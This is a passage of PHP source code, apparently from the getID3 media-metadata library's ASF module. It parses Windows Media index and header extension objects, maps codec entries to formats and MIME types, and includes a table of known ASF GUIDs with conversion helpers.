					$ASFIndexObjectData .= $this->fread(4);
					$thisfile_asf_asfindexobject['index_entry_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
					/** @var int|float|false $totalIndexEntryCount */
					$totalIndexEntryCount = $thisfile_asf_asfindexobject['index_entry_count'];
					$offset += 4;

					$ASFIndexObjectData .= $this->fread(8 * $thisfile_asf_asfindexobject['index_specifiers_count']);
					for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < (int) $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
						$thisfile_asf_asfindexobject['block_positions'][$IndexSpecifiersCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 8));
						$offset += 8;
					}

					$ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count'] * $thisfile_asf_asfindexobject['index_entry_count']);
					for ($IndexEntryCounter = 0; $IndexEntryCounter < $totalIndexEntryCount; $IndexEntryCounter++) {
						for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < (int) $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
							$thisfile_asf_asfindexobject['offsets'][$IndexSpecifiersCounter][$IndexEntryCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
							$offset += 4;
						}
					}
					break;


				default:
					// Implementations shall ignore any standard or non-standard object that they do not know how to handle.
					if ($this->GUIDname($NextObjectGUIDtext)) {
						$this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF body at offset '.($offset - 16 - 8));
					} else {
						$this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF body at offset '.($this->ftell() - 16 - 8));
					}
					$this->fseek(($NextObjectSize - 16 - 8), SEEK_CUR);
					break;
			}
		}

		if (isset($thisfile_asf_codeclistobject['codec_entries']) && is_array($thisfile_asf_codeclistobject['codec_entries'])) {
			foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) {
				switch ($streamdata['information']) {
					case 'WMV1':
					case 'WMV2':
					case 'WMV3':
					case 'MSS1':
					case 'MSS2':
					case 'WMVA':
					case 'WVC1':
					case 'WMVP':
					case 'WVP2':
						$thisfile_video['dataformat'] = 'wmv';
						$info['mime_type'] = 'video/x-ms-wmv';
						break;

					case 'MP42':
					case 'MP43':
					case 'MP4S':
					case 'mp4s':
						$thisfile_video['dataformat'] = 'asf';
						$info['mime_type'] = 'video/x-ms-asf';
						break;

					default:
						switch ($streamdata['type_raw']) {
							case 1:
								if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) {
									$thisfile_video['dataformat'] = 'wmv';
									if ($info['mime_type'] == 'video/x-ms-asf') {
										$info['mime_type'] = 'video/x-ms-wmv';
									}
								}
								break;

							case 2:
								if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) {
									$thisfile_audio['dataformat'] = 'wma';
									if ($info['mime_type'] == 'video/x-ms-asf') {
										$info['mime_type'] = 'audio/x-ms-wma';
									}
								}
								break;

						}
						break;
				}
			}
		}

		switch (isset($thisfile_audio['codec']) ? $thisfile_audio['codec'] : '') {
			case 'MPEG Layer-3':
				$thisfile_audio['dataformat'] = 'mp3';
				break;

			default:
				break;
		}

		if (isset($thisfile_asf_codeclistobject['codec_entries'])) {
			foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) {
				switch ($streamdata['type_raw']) {

					case 1: // video
						$thisfile_video['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']);
						break;

					case 2: // audio
						$thisfile_audio['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']);

						// AH 2003-10-01
						$thisfile_audio['encoder_options'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][0]['description']);

						$thisfile_audio['codec']   = $thisfile_audio['encoder'];
						break;

					default:
						$this->warning('Unknown streamtype: [codec_list_object][codec_entries]['.$streamnumber.'][type_raw] == '.$streamdata['type_raw']);
						break;

				}
			}
		}

		if (isset($info['audio'])) {
			$thisfile_audio['lossless']           = (isset($thisfile_audio['lossless'])           ? $thisfile_audio['lossless']           : false);
			$thisfile_audio['dataformat']         = (!empty($thisfile_audio['dataformat'])        ? $thisfile_audio['dataformat']         : 'asf');
		}
		if (!empty($thisfile_video['dataformat'])) {
			$thisfile_video['lossless']           = (isset($thisfile_audio['lossless'])           ? $thisfile_audio['lossless']           : false);
			$thisfile_video['pixel_aspect_ratio'] = (isset($thisfile_audio['pixel_aspect_ratio']) ? $thisfile_audio['pixel_aspect_ratio'] : (float) 1);
			$thisfile_video['dataformat']         = (!empty($thisfile_video['dataformat'])        ? $thisfile_video['dataformat']         : 'asf');
		}
		if (!empty($thisfile_video['streams'])) {
			$thisfile_video['resolution_x'] = 0;
			$thisfile_video['resolution_y'] = 0;
			foreach ($thisfile_video['streams'] as $key => $valuearray) {
				if (($valuearray['resolution_x'] > $thisfile_video['resolution_x']) || ($valuearray['resolution_y'] > $thisfile_video['resolution_y'])) {
					$thisfile_video['resolution_x'] = $valuearray['resolution_x'];
					$thisfile_video['resolution_y'] = $valuearray['resolution_y'];
				}
			}
		}
		$info['bitrate'] = 0 + (isset($thisfile_audio['bitrate']) ? $thisfile_audio['bitrate'] : 0) + (isset($thisfile_video['bitrate']) ? $thisfile_video['bitrate'] : 0);

		if ((!isset($info['playtime_seconds']) || ($info['playtime_seconds'] <= 0)) && ($info['bitrate'] > 0)) {
			$info['playtime_seconds'] = ($info['filesize'] - $info['avdataoffset']) / ($info['bitrate'] / 8);
		}

		return true;
	}

	/**
	 * @param int $CodecListType
	 *
	 * @return string
	 */
	public static function codecListObjectTypeLookup($CodecListType) {
		static $lookup = array(
			0x0001 => 'Video Codec',
			0x0002 => 'Audio Codec',
			0xFFFF => 'Unknown Codec'
		);

		return (isset($lookup[$CodecListType]) ? $lookup[$CodecListType] : 'Invalid Codec Type');
	}

	/**
	 * @return array
	 */
	public static function KnownGUIDs() {
		static $GUIDarray = array(
			'GETID3_ASF_Extended_Stream_Properties_Object'   => '14E6A5CB-C672-4332-8399-A96952065B5A',
			'GETID3_ASF_Padding_Object'                      => '1806D474-CADF-4509-A4BA-9AABCB96AAE8',
			'GETID3_ASF_Payload_Ext_Syst_Pixel_Aspect_Ratio' => '1B1EE554-F9EA-4BC8-821A-376B74E4C4B8',
			'GETID3_ASF_Script_Command_Object'               => '1EFB1A30-0B62-11D0-A39B-00A0C90348F6',
			'GETID3_ASF_No_Error_Correction'                 => '20FB5700-5B55-11CF-A8FD-00805F5C442B',
			'GETID3_ASF_Content_Branding_Object'             => '2211B3FA-BD23-11D2-B4B7-00A0C955FC6E',
			'GETID3_ASF_Content_Encryption_Object'           => '2211B3FB-BD23-11D2-B4B7-00A0C955FC6E',
			'GETID3_ASF_Digital_Signature_Object'            => '2211B3FC-BD23-11D2-B4B7-00A0C955FC6E',
			'GETID3_ASF_Extended_Content_Encryption_Object'  => '298AE614-2622-4C17-B935-DAE07EE9289C',
			'GETID3_ASF_Simple_Index_Object'                 => '33000890-E5B1-11CF-89F4-00A0C90349CB',
			'GETID3_ASF_Degradable_JPEG_Media'               => '35907DE0-E415-11CF-A917-00805F5C442B',
			'GETID3_ASF_Payload_Extension_System_Timecode'   => '399595EC-8667-4E2D-8FDB-98814CE76C1E',
			'GETID3_ASF_Binary_Media'                        => '3AFB65E2-47EF-40F2-AC2C-70A90D71D343',
			'GETID3_ASF_Timecode_Index_Object'               => '3CB73FD0-0C4A-4803-953D-EDF7B6228F0C',
			'GETID3_ASF_Metadata_Library_Object'             => '44231C94-9498-49D1-A141-1D134E457054',
			'GETID3_ASF_Reserved_3'                          => '4B1ACBE3-100B-11D0-A39B-00A0C90348F6',
			'GETID3_ASF_Reserved_4'                          => '4CFEDB20-75F6-11CF-9C0F-00A0C90349CB',
			'GETID3_ASF_Command_Media'                       => '59DACFC0-59E6-11D0-A3AC-00A0C90348F6',
			'GETID3_ASF_Header_Extension_Object'             => '5FBF03B5-A92E-11CF-8EE3-00C00C205365',
			'GETID3_ASF_Media_Object_Index_Parameters_Obj'   => '6B203BAD-3F11-4E84-ACA8-D7613DE2CFA7',
			'GETID3_ASF_Header_Object'                       => '75B22630-668E-11CF-A6D9-00AA0062CE6C',
			'GETID3_ASF_Content_Description_Object'          => '75B22633-668E-11CF-A6D9-00AA0062CE6C',
			'GETID3_ASF_Error_Correction_Object'             => '75B22635-668E-11CF-A6D9-00AA0062CE6C',
			'GETID3_ASF_Data_Object'                         => '75B22636-668E-11CF-A6D9-00AA0062CE6C',
			'GETID3_ASF_Web_Stream_Media_Subtype'            => '776257D4-C627-41CB-8F81-7AC7FF1C40CC',
			'GETID3_ASF_Stream_Bitrate_Properties_Object'    => '7BF875CE-468D-11D1-8D82-006097C9A2B2',
			'GETID3_ASF_Language_List_Object'                => '7C4346A9-EFE0-4BFC-B229-393EDE415C85',
			'GETID3_ASF_Codec_List_Object'                   => '86D15240-311D-11D0-A3A4-00A0C90348F6',
			'GETID3_ASF_Reserved_2'                          => '86D15241-311D-11D0-A3A4-00A0C90348F6',
			'GETID3_ASF_File_Properties_Object'              => '8CABDCA1-A947-11CF-8EE4-00C00C205365',
			'GETID3_ASF_File_Transfer_Media'                 => '91BD222C-F21C-497A-8B6D-5AA86BFC0185',
			'GETID3_ASF_Old_RTP_Extension_Data'              => '96800C63-4C94-11D1-837B-0080C7A37F95',
			'GETID3_ASF_Advanced_Mutual_Exclusion_Object'    => 'A08649CF-4775-4670-8A16-6E35357566CD',
			'GETID3_ASF_Bandwidth_Sharing_Object'            => 'A69609E6-517B-11D2-B6AF-00C04FD908E9',
			'GETID3_ASF_Reserved_1'                          => 'ABD3D211-A9BA-11cf-8EE6-00C00C205365',
			'GETID3_ASF_Bandwidth_Sharing_Exclusive'         => 'AF6060AA-5197-11D2-B6AF-00C04FD908E9',
			'GETID3_ASF_Bandwidth_Sharing_Partial'           => 'AF6060AB-5197-11D2-B6AF-00C04FD908E9',
			'GETID3_ASF_JFIF_Media'                          => 'B61BE100-5B4E-11CF-A8FD-00805F5C442B',
			'GETID3_ASF_Stream_Properties_Object'            => 'B7DC0791-A9B7-11CF-8EE6-00C00C205365',
			'GETID3_ASF_Video_Media'                         => 'BC19EFC0-5B4D-11CF-A8FD-00805F5C442B',
			'GETID3_ASF_Audio_Spread'                        => 'BFC3CD50-618F-11CF-8BB2-00AA00B4E220',
			'GETID3_ASF_Metadata_Object'                     => 'C5F8CBEA-5BAF-4877-8467-AA8C44FA4CCA',
			'GETID3_ASF_Payload_Ext_Syst_Sample_Duration'    => 'C6BD9450-867F-4907-83A3-C77921B733AD',
			'GETID3_ASF_Group_Mutual_Exclusion_Object'       => 'D1465A40-5A79-4338-B71B-E36B8FD6C249',
			'GETID3_ASF_Extended_Content_Description_Object' => 'D2D0A440-E307-11D2-97F0-00A0C95EA850',
			'GETID3_ASF_Stream_Prioritization_Object'        => 'D4FED15B-88D3-454F-81F0-ED5C45999E24',
			'GETID3_ASF_Payload_Ext_System_Content_Type'     => 'D590DC20-07BC-436C-9CF7-F3BBFBF1A4DC',
			'GETID3_ASF_Old_File_Properties_Object'          => 'D6E229D0-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ASF_Header_Object'               => 'D6E229D1-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ASF_Data_Object'                 => 'D6E229D2-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Index_Object'                        => 'D6E229D3-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Stream_Properties_Object'        => 'D6E229D4-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Content_Description_Object'      => 'D6E229D5-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Script_Command_Object'           => 'D6E229D6-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Marker_Object'                   => 'D6E229D7-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Component_Download_Object'       => 'D6E229D8-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Stream_Group_Object'             => 'D6E229D9-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Scalable_Object'                 => 'D6E229DA-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Prioritization_Object'           => 'D6E229DB-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Bitrate_Mutual_Exclusion_Object'     => 'D6E229DC-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Inter_Media_Dependency_Object'   => 'D6E229DD-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Rating_Object'                   => 'D6E229DE-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Index_Parameters_Object'             => 'D6E229DF-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Color_Table_Object'              => 'D6E229E0-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Language_List_Object'            => 'D6E229E1-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Audio_Media'                     => 'D6E229E2-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Video_Media'                     => 'D6E229E3-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Image_Media'                     => 'D6E229E4-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Timecode_Media'                  => 'D6E229E5-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Text_Media'                      => 'D6E229E6-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_MIDI_Media'                      => 'D6E229E7-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Command_Media'                   => 'D6E229E8-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_No_Error_Concealment'            => 'D6E229EA-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Scrambled_Audio'                 => 'D6E229EB-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_No_Color_Table'                  => 'D6E229EC-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_SMPTE_Time'                      => 'D6E229ED-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ASCII_Text'                      => 'D6E229EE-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Unicode_Text'                    => 'D6E229EF-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_HTML_Text'                       => 'D6E229F0-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_URL_Command'                     => 'D6E229F1-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Filename_Command'                => 'D6E229F2-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ACM_Codec'                       => 'D6E229F3-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_VCM_Codec'                       => 'D6E229F4-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_QuickTime_Codec'                 => 'D6E229F5-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_DirectShow_Transform_Filter'     => 'D6E229F6-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_DirectShow_Rendering_Filter'     => 'D6E229F7-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_No_Enhancement'                  => 'D6E229F8-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Unknown_Enhancement_Type'        => 'D6E229F9-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Temporal_Enhancement'            => 'D6E229FA-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Spatial_Enhancement'             => 'D6E229FB-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Quality_Enhancement'             => 'D6E229FC-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Number_of_Channels_Enhancement'  => 'D6E229FD-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Frequency_Response_Enhancement'  => 'D6E229FE-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Media_Object'                    => 'D6E229FF-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Mutex_Language'                      => 'D6E22A00-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Mutex_Bitrate'                       => 'D6E22A01-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Mutex_Unknown'                       => 'D6E22A02-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ASF_Placeholder_Object'          => 'D6E22A0E-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Data_Unit_Extension_Object'      => 'D6E22A0F-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Web_Stream_Format'                   => 'DA1E6B13-8359-4050-B398-388E965BF00C',
			'GETID3_ASF_Payload_Ext_System_File_Name'        => 'E165EC0E-19ED-45D7-B4A7-25CBD1E28E9B',
			'GETID3_ASF_Marker_Object'                       => 'F487CD01-A951-11CF-8EE6-00C00C205365',
			'GETID3_ASF_Timecode_Index_Parameters_Object'    => 'F55E496D-9797-4B5D-8C8B-604DFE9BFB24',
			'GETID3_ASF_Audio_Media'                         => 'F8699E40-5B4D-11CF-A8FD-00805F5C442B',
			'GETID3_ASF_Media_Object_Index_Object'           => 'FEB103F8-12AD-4C64-840F-2A1D2F7AD48C',
			'GETID3_ASF_Alt_Extended_Content_Encryption_Obj' => 'FF889EF1-ADEE-40DA-9E71-98704BB928CE',
			'GETID3_ASF_Index_Placeholder_Object'            => 'D9AADE20-7C17-4F9C-BC28-8555DD98E2A2', // https://metacpan.org/dist/Audio-WMA/source/WMA.pm
			'GETID3_ASF_Compatibility_Object'                => '26F18B5D-4584-47EC-9F5F-0E651F0452C9', // https://metacpan.org/dist/Audio-WMA/source/WMA.pm
			'GETID3_ASF_Media_Object_Index_Parameters_Object'=> '6B203BAD-3F11-48E4-ACA8-D7613DE2CFA7',
		);
		return $GUIDarray;
	}

	/**
	 * @param string $GUIDstring
	 *
	 * @return string|false
	 */
	public static function GUIDname($GUIDstring) {
		static $GUIDarray = array();
		if (empty($GUIDarray)) {
			$GUIDarray = self::KnownGUIDs();
		}
		return array_search($GUIDstring, $GUIDarray);
	}

	/**
	 * @param int $id
	 *
	 * @return string
	 */
	public static function ASFIndexObjectIndexTypeLookup($id) {
		static $ASFIndexObjectIndexTypeLookup = array();
		if (empty($ASFIndexObjectIndexTypeLookup)) {
			$ASFIndexObjectIndexTypeLookup[1] = 'Nearest Past Data Packet';
			$ASFIndexObjectIndexTypeLookup[2] = 'Nearest Past Media Object';
			$ASFIndexObjectIndexTypeLookup[3] = 'Nearest Past Cleanpoint';
		}
		return (isset($ASFIndexObjectIndexTypeLookup[$id]) ? $ASFIndexObjectIndexTypeLookup[$id] : 'invalid');
	}

	/**
	 * @param string $GUIDstring
	 *
	 * @return string
	 */
	public static function GUIDtoBytestring($GUIDstring) {
		// Microsoft defines these 16-byte (128-bit) GUIDs in the strangest way:
		// first 4 bytes are in little-endian order
		// next 2 bytes are appended in little-endian order
		// next 2 bytes are appended in little-endian order
		// next 2 bytes are appended in big-endian order
		// next 6 bytes are appended in big-endian order

		// AaBbCcDd-EeFf-GgHh-IiJj-KkLlMmNnOoPp is stored as this 16-byte string:
		// $Dd $Cc $Bb $Aa $Ff $Ee $Hh $Gg $Ii $Jj $Kk $Ll $Mm $Nn $Oo $Pp

		$hexbytecharstring  = chr(hexdec(substr($GUIDstring,  6, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  4, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  2, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  0, 2)));

		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 11, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  9, 2)));

		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 16, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 14, 2)));

		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 19, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 21, 2)));

		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 24, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 26, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 28, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 30, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 32, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 34, 2)));

		return $hexbytecharstring;
	}

	/**
	 * @param string $Bytestring
	 *
	 * @return string
	 */
	public static function BytestringToGUID($Bytestring) {
		$GUIDstring  = str_pad(dechex(ord($Bytestring[3])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[2])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[1])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[0])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= '-';
		$GUIDstring .= str_pad(dechex(ord($Bytestring[5])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[4])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= '-';
		$GUIDstring .= str_pad(dechex(ord($Bytestring[7])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[6])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= '-';
		$GUIDstring .= str_pad(dechex(ord($Bytestring[8])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[9])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= '-';
		$GUIDstring .= str_pad(dechex(ord($Bytestring[10])), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[11])), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[12])), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[13])), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[14])), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[15])), 2, '0', STR_PAD_LEFT);

		return strtoupper($GUIDstring);
	}

	/**
	 * @param int  $FILETIME
	 * @param bool $round
	 *
	 * @return float|int
	 */
	public static function FILETIMEtoUNIXtime($FILETIME, $round=true) {
		// FILETIME is a 64-bit unsigned integer representing
		// the number of 100-nanosecond intervals since January 1, 1601
		// UNIX timestamp is number of seconds since January 1, 1970
		// 116444736000000000 = 10000000 * 60 * 60 * 24 * 365 * 369 + 89 leap days
		if ($round) {
			return intval(round(($FILETIME - 116444736000000000) / 10000000));
		}
		return ($FILETIME - 116444736000000000) / 10000000;
	}

	/**
	 * @param int $WMpictureType
	 *
	 * @return string
	 */
	public static function WMpictureTypeLookup($WMpictureType) {
		static $lookup = null;
		if ($lookup === null) {
			$lookup = array(
				0x03 => 'Front Cover',
				0x04 => 'Back Cover',
				0x00 => 'User Defined',
				0x05 => 'Leaflet Page',
				0x06 => 'Media Label',
				0x07 => 'Lead Artist',
				0x08 => 'Artist',
				0x09 => 'Conductor',
				0x0A => 'Band',
				0x0B => 'Composer',
				0x0C => 'Lyricist',
				0x0D => 'Recording Location',
				0x0E => 'During Recording',
				0x0F => 'During Performance',
				0x10 => 'Video Screen Capture',
				0x12 => 'Illustration',
				0x13 => 'Band Logotype',
				0x14 => 'Publisher Logotype'
			);
			$lookup = array_map(function($str) {
				return getid3_lib::iconv_fallback('UTF-8', 'UTF-16LE', $str);
			}, $lookup);
		}

		return (isset($lookup[$WMpictureType]) ? $lookup[$WMpictureType] : '');
	}

	/**
	 * @param string $asf_header_extension_object_data
	 * @param int    $unhandled_sections
	 *
	 * @return array
	 */
	public function HeaderExtensionObjectDataParse(&$asf_header_extension_object_data, &$unhandled_sections) {
		// https://web.archive.org/web/20140419205228/http://msdn.microsoft.com/en-us/library/bb643323.aspx

		$offset = 0;
		$objectOffset = 0;
		$HeaderExtensionObjectParsed = array();
		while ($objectOffset < strlen($asf_header_extension_object_data)) {
			$offset = $objectOffset;
			$thisObject = array();

			$thisObject['guid']                              =                              substr($asf_header_extension_object_data, $offset, 16);
			$offset += 16;
			$thisObject['guid_text'] = $this->BytestringToGUID($thisObject['guid']);
			$thisObject['guid_name'] = $this->GUIDname($thisObject['guid_text']);

			$thisObject['size']                              = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
			$offset += 8;
			if ($thisObject['size'] <= 0) {
				break;
			}

			switch ($thisObject['guid']) {
				case GETID3_ASF_Extended_Stream_Properties_Object:
					$thisObject['start_time']                        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
					$offset += 8;
					$thisObject['start_time_unix']                   = $this->FILETIMEtoUNIXtime($thisObject['start_time']);

					$thisObject['end_time']                          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
					$offset += 8;
					$thisObject['end_time_unix']                     = $this->FILETIMEtoUNIXtime($thisObject['end_time']);

					$thisObject['data_bitrate']                      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['buffer_size']                       = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['initial_buffer_fullness']           = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['alternate_data_bitrate']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['alternate_buffer_size']             = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['alternate_initial_buffer_fullness'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['maximum_object_size']               = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['flags_raw']                         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;
					$thisObject['flags']['reliable']                = (bool) $thisObject['flags_raw'] & 0x00000001;
					$thisObject['flags']['seekable']                = (bool) $thisObject['flags_raw'] & 0x00000002;
					$thisObject['flags']['no_cleanpoints']          = (bool) $thisObject['flags_raw'] & 0x00000004;
					$thisObject['flags']['resend_live_cleanpoints'] = (bool) $thisObject['flags_raw'] & 0x00000008;

					$thisObject['stream_number']                     = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					$thisObject['stream_language_id_index']          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					$thisObject['average_time_per_frame']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
					$offset += 8;

					$thisObject['stream_name_count']                 = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					$thisObject['payload_extension_system_count']    = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['stream_name_count']; $i++) {
						$streamName = array();

						$streamName['language_id_index']             = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$streamName['stream_name_length']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$streamName['stream_name']                   =                              substr($asf_header_extension_object_data, $offset,  $streamName['stream_name_length']);
						$offset += $streamName['stream_name_length'];

						$thisObject['stream_names'][$i] = $streamName;
					}

					for ($i = 0; $i < $thisObject['payload_extension_system_count']; $i++) {
						$payloadExtensionSystem = array();

						$payloadExtensionSystem['extension_system_id']   =                              substr($asf_header_extension_object_data, $offset, 16);
						$offset += 16;
						$payloadExtensionSystem['extension_system_id_text'] = $this->BytestringToGUID($payloadExtensionSystem['extension_system_id']);

						$payloadExtensionSystem['extension_system_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;
						if ($payloadExtensionSystem['extension_system_size'] <= 0) {
							break 2;
						}

						$payloadExtensionSystem['extension_system_info_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
						$offset += 4;

						$payloadExtensionSystem['extension_system_info'] = substr($asf_header_extension_object_data, $offset,  $payloadExtensionSystem['extension_system_info_length']);
						$offset += $payloadExtensionSystem['extension_system_info_length'];

						$thisObject['payload_extension_systems'][$i] = $payloadExtensionSystem;
					}

					break;

				case GETID3_ASF_Advanced_Mutual_Exclusion_Object:
					$thisObject['exclusion_type']       = substr($asf_header_extension_object_data, $offset, 16);
					$offset += 16;
					$thisObject['exclusion_type_text']  = $this->BytestringToGUID($thisObject['exclusion_type']);

					$thisObject['stream_numbers_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['stream_numbers_count']; $i++) {
